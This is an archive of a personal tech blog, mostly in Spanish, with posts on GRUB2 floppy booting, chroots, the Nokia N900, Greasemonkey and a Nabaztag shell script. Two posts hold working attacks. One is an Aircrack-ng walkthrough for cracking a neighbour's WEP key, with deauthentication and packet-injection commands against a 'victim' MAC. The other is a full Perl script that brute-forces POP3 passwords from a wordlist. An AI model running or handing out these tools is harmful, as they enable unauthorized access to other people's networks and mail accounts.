Archive

Posts Tagged ‘tecnologia’

Boot a floppy image from grub2

February 5th, 2010

Create a directory for the boot image and copy memdisk to /boot

mkdir /boot/images/
aptitude install syslinux
cp /usr/lib/syslinux/memdisk /boot

Create a script /etc/grub.d/40_custom to auto-detect the floppy image at the directory

#!/bin/sh

set -e

IMAGES=/boot/images
. /usr/lib/grub/grub-mkconfig_lib
if test -e /boot/memdisk ; then
  MEMDISKPATH=$( make_system_path_relative_to_its_root "/boot/memdisk" )
  echo "Found memdisk: $MEMDISKPATH" >&2
  find $IMAGES -name "*.img" | sort |
  while read image ; do
      IMAGEPATH=$( make_system_path_relative_to_its_root "$image" )
      echo "Found floppy image: $IMAGEPATH" >&2
      cat << EOF
menuentry "Bootable floppy: $(basename $IMAGEPATH | sed s/.img//)" {
EOF
      prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | sed -e "s/^/\t/"
      cat << EOF
        linux16 $MEMDISKPATH bigraw
        initrd16 $IMAGEPATH
}
EOF
  done
fi

# exec tail -n +3 $0
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.

and call update-grub2

pbuilder and chroot

February 5th, 2010

Build a Chroot with debootstrap, example a Ubuntu lucid

sudo debootstrap lucid /opt/chroots/lucid.linfati.cl/

now, create a /usr/local/bin/go-chroot file with

#/bin/sh

case "$1" in
  sethost)
	echo virtu-$2 | sudo tee /opt/chroots/$2.linfati.cl/etc/debian_chroot
	;;
  run)
	sudo pbuilder --execute \
	--aptcache "" \
	--no-targz \
	--buildplace /opt/chroots/$2.linfati.cl \
	-- /bin/su -
	;;
  *)
	$0 sethost $1
	$0 run $1
	;;
esac

exit 0

and run

go-chroot lucid

Nokia N900

December 13th, 2009

Me compre mi nokia N900 en un tiempo record… ordenado un dia 20 de Noviembre, despachado el lunes 23 y recibido el dia 24 en la mañana! Genial! ( en el primer lote de entrega ) con un descuento de un 25%… lo cual lo hizo mas genial aun ( precio de mercado 600€ )

Solo dos cosas hecho de menos de mi BlackBerry 8100
1.- Poder usarla con una sola mana para chat, sms, navegar, al ser horizontal para esas tareas, llamar se puede verticalmente
2.- La tecnologia Push, que los mensajes los envia el servidor a mi celular a penas estan disponibles ( sms, email, chat ) y no debe estar cada x minutos revisando si existe algo nuevo… lo que se refleja en la duracion de la bateria.

DSCN7875 (by Rodrigo Linfati)

DSCN7876 (by Rodrigo Linfati)

DSCN7879 (by Rodrigo Linfati)

DSCN7880 (by Rodrigo Linfati)

DSCN7882 (by Rodrigo Linfati)

Bonus: bicicleta dali….
20091202_002.jpg (by Rodrigo Linfati)

Dos N900 en Bologna

November 16th, 2009

El dia 28 de noviembre del 2009 nos juntamos Mateo, Andrea, Andrea (otro, puso el local… lleno de productos manzanas) y yo a ver y tocar el Nokia N900 que les habian regalado prestado en Amsterdam en la Maemo Submit 2009.

El InternetTablet que en esta version ademas es capaz de usar paquetes de datos GRPS/UMTS y llamar, trae un upgrade de hardware como una CPU ARM Cortex-A8, 32GB de almacenamiento, Camara de 5MPX, OpenGL-ES 2.0 ademas de wifi, bluetooth, gps, flash, java, una segunda camara webcam y teclado

En italia lo vende Nokia y Expansys por el momento.

dsc00501c

dsc00500t

Indios Digitales

September 19th, 2009

Aircrack en Ubuntu 9.04 con una Intel 3945

August 29th, 2009

Se necesita el driver ipwraw-ng, un vecino con clave WEP en su router y algo de suerte ;)

el driver se baja, se descomprime y se aplica

tar -xjf ipwraw-ng*
cd ipwraw-ng
make
make install
make install_ucode
echo blacklist ipwraw | tee /etc/modprobe.d/blacklist-ipwraw.conf
depmod -a

Luego en una consola escribimos

rmmod iwl3945
modprobe ipwraw
echo airmon-ng check kill
ifconfig  wifi0 up
iwconfig wifi0 rate 1M
airodump-ng wifi0

y miramos las wifi disponibles…. en especial las WEP, anotamos su BSSID y el Channel para luego apretar control-c

En la misma consola hacemos

airodump-ng -w output.cap -d MACVICTIMA -c CANALVICTIMA wifi0

Y en una segunda consola hacemos

aireplay-ng -1 0 -a MACVICTIMA wifi0
aireplay-ng -0 5 -a MACVICTIMA wifi0
aireplay-ng -3   -b MACVICTIMA wifi0

Si todo va bien y alguien esta usando esa wifi… se empezara a injectar paquetes
En una tercera ventana hacemos

aircrack-ng output*.cap

Y listo… tenemos la clave de nuestro vecino :-)

Pop3 dictionary attack in perl

August 29th, 2009
#!/usr/bin/perl 

use Socket; 

if (@ARGV < 3) {
	print "Use: perl pop3crack.pl server login wordfile\n";
	exit;
}

$count = 1;
open (LISTA,$ARGV[2]);
while ($pass = <LISTA>) {
	chop $pass;
	$authuser = "user $ARGV[1]\n";
	$authpass = "pass $pass\n";

	$NETFD = &makeconn($ARGV[0]);
	sysread $NETFD, $message,100 or die "error Can't Read Socket: $!";
        send($NETFD,$authuser,0);
        sysread $NETFD, $message,100 or die "error Can't Read Socket: $!";
        send($NETFD,$authpass,0);
        sysread $NETFD, $message,3 or die "error Can't Read Socket: $!";

	print " Try : $count - pass : $pass \n";
	if ($message eq "+OK") {
                print " pass : \"$pass\"\n";
		close $NETFD;
		exit;
	}
	close $NETFD;
	$count++;
}
close(LISTA);

print " pass not found\n";

sub makeconn {
	$server = gethostbyname($_[0]) or die "gethostbyname: cannot locate host: $!";
	socket(CONNFD, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	connect(CONNFD, sockaddr_in(110, $server) ) or die "connect : $!";
	return CONNFD;
}

UserScripts.org para Greasemonkey

July 23rd, 2009

Que es Greasemonkey?
Greasemonkey es una extensión para el navegador Mozilla Firefox que permite, por medio de pequeñas porciones de código creadas por usuarios, modificar el comportamiento de páginas web específicas. Con esta extensión es posible mejorar la experiencia de lectura de un sitio, hacerlo más usable, añadir nuevas funciones a páginas web, corregir errores, mejorar servicios de búsquedas y muchas otras cosas más.

Que usa Internet Explorer? Que odia Firefox? use ie7pro para cargar los script

Script Recomendados

Youtube Enhancer
Permite bajar videos, seleccionar la calidad, activar/desactivar el autoinicio, etc.

Free Youtube
Permite usar un visor de videos para ver los videos, por ejemplo VLC o Totem

Youtube without flash
Otro script que permite usar un visor de videos para ver los videos, por ejemplo VLC o Totem

Facebook Purify
Oculta los mensajes de la pagina principal de los cuestionarios, aplicaciones, juegos, etc

Facebook Fixer
Ver album facilmente, bajar los videos, ver la edad y el signo zodiacal de cada persona, ver todas las fotos del album en una sola pagina, etc.

TwittSeven
Permite hacer Re-tweet, Ver los link acortados, ver el ultimo tweet leido, automaticamente cargar nuevos mensajes, etc

Nested Twitter Replies
Permite ver los mensajes junto a sus respuestas

twitter (by Rodrigo Linfati)

Y tu, que script usas?

Que hace un conejo conectado a la wifi?

July 5th, 2009

Pues, en mi viaje a españa me compre un nabaztag/tag que es un conejo… pero hace ciertas gracias

  • Mueve las orejas…
  • Habla! y en varios idiomas
  • se conecta a internet via wifi
  • Conectado a internet a el gran hermano conejo, pueden enviarse mensajes y tu conejo los lee
  • Hace coreografia con las orejas y las luces de la boca, nariz, inferior
  • Te da la hora… de forma seria, de forma divertida o de forma ridicula
  • Te da el tiempo/clima de tu ciudad, se lo puedes preguntar por que reconoce tu voz
  • Te lee tu twiter y los feed rss
  • Te despierta en las mañana y pone la radio ( y sin prender el pc! )
  • te avisa cuando tienes una cita/reunion en tu calendario
  • y muchas cosas mas…

El unico problema que me dio, fue que no se quiso unir a mi red wifi wpa, pero como mi router corre linux con una wifi atheros, cree otro AP sin encriptar, oculto y con filtro mac y funciono ( algun dia le agregare wep ), los comandos usados en el router son similares a estos

wlanconfig ath6 create wlandev wifi0 wlanmode ap
iwpriv ath6 hide_ssid 1
iwconfig ath6 essid SSIDPARAMICONEJO
ifconfig ath6 up
brctl addif br1 ath6

Y para usarlo desde mi pc, sin ir a la web…. use la api de nabaztag… pude haber usado php, pero me gusta mas la shell de linux ( o la de mac osx )

#! /bin/sh

if [ -f ~/.nabaztag ] ; then
    . ~/.nabaztag
fi

if [ "x$NT" != "xOK" ] ; then
    echo "edit your ~/.nabaztag with SN, TN and NT=OK"
    exit 0
fi

case "$1" in
  on)
	curl -s "http://api.nabaztag.com/vl/FR/api.jsp?sn=$SN&token=$TN&action=14"
	;;
  off)
	curl -s "http://api.nabaztag.com/vl/FR/api.jsp?sn=$SN&token=$TN&action=13"
	;;
  status)
	curl -s "http://api.nabaztag.com/vl/FR/api.jsp?sn=$SN&token=$TN&action=7"
	;;
  play)
	curl -s "http://api.nabaztag.com/vl/FR/api_stream.jsp?sn=$SN&token=$TN&urlList=$2"
	;;
  bbconce)
	$0 play http://online.laradio.cl:8000/32K
	;;
  bbstgo)
	$0 play http://online.laradio.cl:8002/32K
	;;
  msg)
	[ "$2" ] || read -p Msg?\  t
	[ "$2" ] && t=$2
	[ $3 ] || v=ES-Alfonsina
	[ $3 ] && v=$3
	m=$(echo $t | sed s/\ /+/g)
	curl -s "http://api.nabaztag.com/vl/FR/api.jsp?sn=$SN&token=$TN&voice=$v&tts=$m&ttlive=1"
	;;
  voice)
	[ $2 ] || i='-'
	[ $2 ] && i=$2
	curl -s "http://api.nabaztag.com/vl/FR/api.jsp?sn=$SN&token=$TN&action=9" |
	sed s/\<//g |
	sed s/\"\\/\>/\\n/g |
	sed s/voice.lang....-....command..//g |
	sed s/.xml.version..1.0..encoding..UTF-8...rsp.voiceListTTS.nb..82//g |
	sed s/.rsp.//g |
	sed s/voice.lang..zh-cnm-CN..command..//g |
	sed s/voice.lang..zh-YUE..command..//g |
	sort -u | egrep $i
	;;
  *)
	echo "Usage: $0 {on|off|status|play|msg|voice}" >&2
	exit 1
	;;
esac

exit 0

y el archivo ~/.nabaztag contiene 3 lineas

SN=MAC_DEL_CONEJO_SOLO_NUMEROS
TN=TAG_ID_QUE_SALE_EN_LA_WEB
NT=OK

Conferenza Italiana del Software Libero

June 13th, 2009

La conferencia es organizada por el Magister en Tecnologias del software Libre
IMG00133

Voy a consultar si me dejan tomarlo… seria interesante tener un carton de FLOSS
DSCN6984

El publico
Notese que aca existe red wifi en toda la universidad, y existe un router en cada sala :) Incluso algunos lados dan IPv6 funcional! Yata!
DSCN6990
DSCN7019

KVM y el futuro KSM
KSM es “comprimir” las paginas de memoria que sean iguales y tenerlas una vez…. asi si tenemos muchas cosas similares ( muchas mv que tengan el mismo OS ) se tiene una reduccion en el consumo de ram. Se espera que en 2.6.32 se integre al kernel
IMG00136

Yo soy Linux.
Existe una version italiana analoga del yo soy mac, pero con linux… son 3 videos, de ubuntu, firefox, thunderbird. EL de firefox, el ave del fuego esta ademas en español
IMG00137

PostgestQL
Es increible que el UserGroup de PSQL-it apoye el uso en liceos tecnicos y universidad para cursos de base de datos. Notable!
DSCN6982
Sticker de regalo
DSCN7031
Charla
DSCN7049

Leyes y FLOSS
Leguleyo italiano hablando de la creacion de normas/leyes para obligar al uso de software libre
DSCN6994

Uso de PC viejos donados por empresas (5.000 pcs) para usarlos en colegios (primarias/educaicon basica) con LTSP
Se recicla todo… es increible incluso que se hable de ahorro energetico
DSCN6995
incluso la expositora parecia “reciclada” jaja, aunque se manejaba en ltsp, freenx, etc.
DSCN6997

Aca es comun ver el uso de CreativeCommons…
DSCN7006

Embedbed linux y apilance
DSCN7007
DSCN7011

Fanatico de tux
DSCN7012

Maemo-Mer por un Ubuntu MOTU
DSCN7028

OpenDVD
DSCN7034

Sabayon
DSCN7052

OpenOffice
DSCN7055
El problema esta en la ventana
DSCN7056

OpenSolaris y la GPL
el tipo hablo puras weas, al final era de libertad positiva y libertad negativa…
DSCN7058

Copyleft y los Formatos Abiertos
DSCN7061